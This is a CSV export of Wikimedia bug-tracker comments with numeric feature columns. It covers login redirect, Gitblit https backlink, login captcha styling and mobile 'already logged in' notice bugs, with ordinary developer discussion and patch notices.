+269213,Pre-login destination not remembered when login succeeds in Wikimania Scholarships application,This was broken by a change made during the security review to validate the URL stored in the users' pre-authentication session. The redirect code now expects to find a full qualified URL rather than just the local route path.,,,1387563508,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-jcaupbxiop5wftgva7q4,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+269208,Pre-login destination not remembered when login succeeds in Wikimania Scholarships application,"Change 102969 had a related patch set uploaded by BryanDavis:
+Store full URL in session when redirecting to login form
+
+https://gerrit.wikimedia.org/r/102969",,,1387563391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jcaupbxiop5wftgva7q4,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+58953,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"For old svn commits giblit provides a link to mediawiki.org/wiki/Special:Code, but that link is always http, please provide a https link.
+
+If possible, this link should be clickable.
+
+Thanks.
+
+Example on:
+https://git.wikimedia.org/commit/mediawiki%2Fcore/96906d6cd38ba7c1c5af81e05a30105e6a29414f
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: trivial",Low,25.0,1384285260,1453829072.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-fbkubnlicr5uirinxi5s,task_description,declined,True,c3,1,True,False,False,-86,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+590221,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,(I thought you meant the auto-linking of like r123 :),,,1452782159,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,3,True,,,28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+590220,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"Ahhhh, those. I see what you're talking about now. That's in refs/notes/* in the repo themselves and comes from the SVN migration days. Prior to HTTPS-everywhere. Those aren't editable at this point.",,,1452782141,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,3,True,,,28,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+590218,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"The configuration says https, weird :\",,,1452782090,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,3,True,,,28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+590193,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"It is not fixed, I still see a http link to www.mediawiki.org on the example above",,,1452776963,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,3,True,,,28,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+589908,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,Was fixed at some point.,,,1452722405,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,3,True,,,27,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+273724,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"(In reply to comment #1)
+> This is in puppet, easily fixed by anyone.
+
+gitblit.config.erb is the file
+> name is memory serves.
+
+Have not found that file in operations/puppet and no other file with .erb which looks like this. I have only found the regex to link r???? to Special:Code (gerrit.config.erb), but this bug is not about that. Its about the refs/notes/commits.
+
+Or is operations/puppet the wrong repo to search for that file?",,,1391199747,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,1,True,,,-74,True,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+273719,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"This is in puppet, easily fixed by anyone.
+
+gitblit.config.erb is the file name is memory serves.",,,1385146535,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-fbkubnlicr5uirinxi5s,task_subcomment,,True,c3,1,True,,,-84,True,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+58370,Login captcha shown after too many incorrect attempts to log in looks ugly,"Login captcha (in Polish)
+
+Login captcha shown after too many incorrect attempts to log in looks ugly, compared to the nicely styles create account form captcha.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**Whiteboard**: gci2013
+**URL**: https://en.wikipedia.org/wiki/Special:UserLogin
+
+**Attached**: {F12184}",Low,25.0,1383131280,1385991145.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_description,resolved,True,c3,1,True,False,True,-88,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264609,Login captcha shown after too many incorrect attempts to log in looks ugly,"**swalling** wrote:
+
+(In reply to comment #8)
+> Fixed :)
+> 
+> http://www.google-melange.com/gci/task/view/google/gci2013/5893919866880000
+
+This looks great. Nice work everyone.",,,1386021282,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,False,,,-83,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+264605,Login captcha shown after too many incorrect attempts to log in looks ugly,"Change 98357 merged by jenkins-bot:
+Additional styling for CAPTCHA on Special:UserLogin
+
+https://gerrit.wikimedia.org/r/98357",,,1385991358,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+264599,Login captcha shown after too many incorrect attempts to log in looks ugly,"Fixed :)
+
+http://www.google-melange.com/gci/task/view/google/gci2013/5893919866880000",,,1385991145,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+264595,Login captcha shown after too many incorrect attempts to log in looks ugly,Ha! Never knew that. Interesting.,,,1385924674,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+264593,Login captcha shown after too many incorrect attempts to log in looks ugly,"Actually the code to format CAPTCHA to look pretty in the new login/signup form is currently in core (which sucks, feel free to fix that).",,,1385900283,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+264590,Login captcha shown after too many incorrect attempts to log in looks ugly,"I'm assuming this bug is meant for Extension:ConfirmEdit, since that's where CAPTCHA support is.",,,1385877510,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+264585,Login captcha shown after too many incorrect attempts to log in looks ugly,"Change 98357 had a related patch set uploaded by Jcf2000:
+Reformat signin captcha in case of incorrect login
+
+https://gerrit.wikimedia.org/r/98357",,,1385860827,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+264580,Login captcha shown after too many incorrect attempts to log in looks ugly,"The signup captcha is being reformatted by a script in mediawiki.special.createAccount.js; we should probably run it for login too. 
+(Also, that's an awful solution. :( )",,,1384557711,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+264575,Login captcha shown after too many incorrect attempts to log in looks ugly,"Created attachment 13770
+Signup captcha (in Polish), for comparison
+
+I refer to the stuff above the red box. It's not styled consistenyl wirh the rest of the form. I attached similar captcha on the signup form for comparison.
+
+**Attached**: {F12185}",,,1384266345,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+264569,Login captcha shown after too many incorrect attempts to log in looks ugly,Do you refer to the capture itself? Or the red box?,,,1384262361,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jnulkqz6rzuaw4pgqiuh,task_subcomment,,True,c3,1,True,,,-86,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0
+58359,Special:UserLogin does not inform you you're already logged in on mobile,"**Author:** `swalling`
+
+**Description:**
+Desktop screenshot
+
+On the desktop sight, if I visit Special:UserLogin (such as through a link in a help page), but I'm already logged in, I now get a helpful message telling me that I am already authenticated. [See screenshot attached]
+
+On mobile, I am given the normal login form, and no indication that I don't need to log in again. It would be nice if you just displayed the same warning message that gets displayed on desktop.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F12150}",Low,25.0,1383093660,1388431332.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4b2mxuc52ewo5a775yq7,task_description,resolved,True,c3,1,False,False,True,-88,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+263951,Special:UserLogin does not inform you you're already logged in on mobile,"based on the design I'm fine going straight to stable, but I'm also fine with it sitting in beta for a week. No strong preference to rush it through.",,,1388432112,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+263947,Special:UserLogin does not inform you you're already logged in on mobile,Quick note: This is going to beta first. Jared and Steven/Kenan please comment back from a product and design point of view if you are happy for this change to go to stable and I will make this so.,,,1388431423,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+263941,Special:UserLogin does not inform you you're already logged in on mobile,"Even if you can't modify the status setting you should be able to declare ""I am working on this."" In future I can also update the ASSIGNED status if you say that you are working on this.
+
+Due to the fact you both worked on this patch I just had the awkward situation of having to merge 1 of 2 near identical patches and in the end did it by a coin toss. Apologies to M4tx - I hope you understand this was nothing against your patch!",,,1388431332,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+263939,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104382 merged by jenkins-bot:
+Show ""already logged-in"" notice at Special:UserLogin
+
+https://gerrit.wikimedia.org/r/104382",,,1388431141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+263938,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104378 abandoned by Jdlrobson:
+Add ""You're already logged in"" information to Special:UserLogin
+
+Reason:
+This lost the coin toss.
+https://gerrit.wikimedia.org/r/#/c/104382/ got merged instead so this patch is no longer needed.
+
+Thank you so much for the patch though. There was no problem whatsoever with this code.
+
+https://gerrit.wikimedia.org/r/104378",,,1388431130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,1,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0
+263937,Special:UserLogin does not inform you you're already logged in on mobile,"@Jon, I'm not able to modify the status setting...",,,1388372468,,PHID-USER-wgpse4towjiaqbzotzgo,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+263936,Special:UserLogin does not inform you you're already logged in on mobile,Guys if you want to fix a bug in future please use the ASSIGNED status and mark yourself as the assignee. This will help everyone involved.,,,1388370337,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+263932,Special:UserLogin does not inform you you're already logged in on mobile,"Ok, so now you have two patches for review coming from a Google Code-in task that wasn't even claimed officially by anybody. I have deleted the GCI task, you can continue the technical review here and in the patches.",,,1388339702,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+263924,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104382 had a related patch set uploaded by Theopolisme:
+Show ""already logged-in"" notice at Special:UserLogin
+
+https://gerrit.wikimedia.org/r/104382",,,1388336160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+263918,Special:UserLogin does not inform you you're already logged in on mobile,"Change 104378 had a related patch set uploaded by M4tx:
+Add ""You're already logged in"" information to Special:UserLogin
+
+https://gerrit.wikimedia.org/r/104378",,,1388335351,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+263913,Special:UserLogin does not inform you you're already logged in on mobile,Screen looks great though.,,,1388299842,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+263907,Special:UserLogin does not inform you you're already logged in on mobile,It's not controversial it's just our standard practice to test things out in a beta mode first before pushing it to all our users.,,,1388299697,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+263901,Special:UserLogin does not inform you you're already logged in on mobile,Is it necessary to limit this to the beta mode? It seems like just displaying something like http://i.imgur.com/MuL7w3I.png would be uncontroversial enough...Jon?,,,1388289181,,PHID-USER-wgpse4towjiaqbzotzgo,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-79,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0
+263897,Special:UserLogin does not inform you you're already logged in on mobile,Understood. Thank you!,,,1388274093,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+263894,Special:UserLogin does not inform you you're already logged in on mobile,Apologies for the confusion. I'm basically suggesting we try what Steven originally suggested in comment 0 but limit it to the beta mode of the site. The Echo button does inform you but that's not it's real purpose and it might not be noticeable.,,,1388263315,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+263892,Special:UserLogin does not inform you you're already logged in on mobile,"What I mean is that, after reading the discussion, it is unclear to me what is exactly the end result you want.
+
+For instance, the subject says ""Special:UserLogin does not inform you you're already logged in on mobile""but then you say in Comment 9 ""Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.""
+
+Surely I m reading too fast, but this is confusing to me, and it might be confusing to a new contributor landing here for the first time.",,,1388253997,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+263889,Special:UserLogin does not inform you you're already logged in on mobile,I think it's fine for it to replicate desktop as long as it is placed in the beta mode / alpha mode of the site first.,,,1388131170,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-79,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
